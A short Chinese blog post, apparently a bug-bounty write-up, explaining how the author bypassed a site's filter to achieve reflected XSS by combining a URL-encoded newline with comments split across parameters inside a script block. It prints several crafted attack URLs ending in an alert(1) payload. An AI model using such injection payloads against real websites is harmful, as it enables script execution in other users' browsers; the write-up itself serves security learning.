有意思的xss之换行+注释bypass


layout: post
title: 1. 有意思的xss之换行+注释bypass
category: SRC
tags: SRC
keywords: SRC,XSS

前言

挖了一段时间的漏洞了,挖的多了反而会增加一些自己的思考,打算记录一些觉得实战过程中也是很有意思的洞,可能放到别的地方也不值得一提,但是实际挖洞中也是扫描器逻辑没办法扫描出来的,于是会有一系列文章,篇幅较短,为大家和自己消遣专用。
该篇记录为记录实际的src过程第1篇小文章,内容为某网站的xssBypass。

扫描弱点

在扫描的过程中发现,存在这样的url对参数的双引号没有过滤。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S6ykoqhp-1610897569753)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/src1.png)]
手动查看,发现存在四个参数,均没有对双引号进行过滤,仅仅对<>进行了实体编码:例如:200"&lt;
四个参数如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n8cw6EId-1610897569756)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/src2.png)]

bypass分析

但是这里注意到后面两个参数是存在于script中的,也就是说我们不需要<>去再次构造标签执行语句,而是直接让他执行到我们的语句就可以了。
所以这里我一开始这样构造。
http://xxxxxx?retCode=200});alert(1);//&retMsg=null&nv=0&crossDomain=null&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=parent.SSO.instances[0].callback
得到的html为:
没有运行,本地测试也不行,看来语句没有走下去。这里说明他的上一句出错了。

那把这一句也注释掉下一行再重新执行js不就行了。于是我的url变成了:
http://xxxxxx?retCode=200});%0aalert(1);//&retMsg=null&nv=0&crossDomain=null&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=//parent.SSO.instances[0].callback
函数名变成了__parent.SSO.instances[0].callback,也就是说把//转义了。
思路行不通开始关注别的参数。这里我注意到crossDomain同样也在srcipt中,如果我把他后面的全部注释掉呢?这里就想到要用/**/,于是我的paload变成了:
http://xxxxxx?retCode=*/%0aalert(1);//&retMsg=null&nv=0&crossDomain=1==1)/*&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=//parent.SSO.instances[0].callback
ok成功bypass

猜你喜欢

转载自blog.csdn.net/xiru9972/article/details/112760125